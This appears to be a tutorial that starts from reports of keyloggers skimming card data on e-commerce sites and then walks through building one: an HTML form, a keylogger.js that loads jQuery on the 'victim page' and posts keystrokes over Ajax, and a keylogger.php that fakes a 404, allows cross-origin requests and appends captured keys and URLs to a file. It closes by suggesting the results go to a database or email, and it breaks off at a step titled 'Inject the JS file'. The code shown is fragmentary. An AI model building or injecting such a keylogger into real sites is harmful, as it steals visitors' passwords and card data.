Researchers estimate thousands of e-commerce sites are under attack by a single threat actor that has infected servers with a web-based keylogger. Popular e-commerce sites infected with web-based keyloggers are being used to steal credit card data as it's entered into online checkout forms. More than 100 compromised sites have been identified, but the number could be in the thousands.
WHAT WE CAN DO WITH A KEYLOGGER?
Keylogger is a type of software that once active on a system, can record every keystroke made by the system. All the recorded keystroke is saved in a log file. A keylogger can record a message, email, and capture any type of information you type at any time using your keyboard.
WHO USES A KEYLOGGER?
A keylogger is a surveillance tool, used by employers to ensure employees use work computers for business purposes only. There's also a growing market for parents who want to use these tools to stay informed about a child's online activities. But nowadays these tools are used by a hacker for hacking email ids and confidential information of the user like password Social Security number, Credit Card, etc ... This is one of the easiest ways of extracting critical information by tricking people.
HOW IT WORKS ?
Below is an example for a simple web-based keylogger, In this documentation, you will know how keylogger works, type of programming by which we record and monitor every keystroke typed by the user on a website.
CREATE THE KEYLOGGER
First of all, we have to create an environment for practical and follow the steps which we mention in the details below.
Create HTML Form
<input type="text" name="firstname" placeholder="Mickey" style="width:250px">
<input type="text" name="lastname" placeholder="Mouse" style="width:250px">
<textarea name="message" style="width:500px;height:100px;"></textarea>
<input type="submit" value="Submit">
This HTML form is for the unique purpose to demonstrate how a web-based keylogger works.
Create JS Keylogger file - keylogger.js
console.log("jQuery Not Found");
var script = document.createElement('script');
script.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
error:function(xhr, ajaxOptions, thrownError)
window.onload = function()
To save time we are going to do it with jQuery. So to avoid any errors the first thing we do is make sure that jQuery is present on the victim page, and load it in case we didn't found it.
We declare a function "c", where the parameter "d" which will be the keypress. This function will have an Ajax call to the PHP file that receives the keystrokes.
Create PHP Keylogger file - keylogger.php
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, *');
$file = 'data.txt';
$fh = fopen($file, 'w');
$string = $altnKey."|".$ctrlKey."|".$userKey."|".$targKey."|".$userURI." ";
file_put_contents($file, $string, FILE_APPEND);
You can adapt the above code to match your exact needs. For example, you maybe would like to save the results directly to a database or either send it to an e-mail address.
Inject the JS file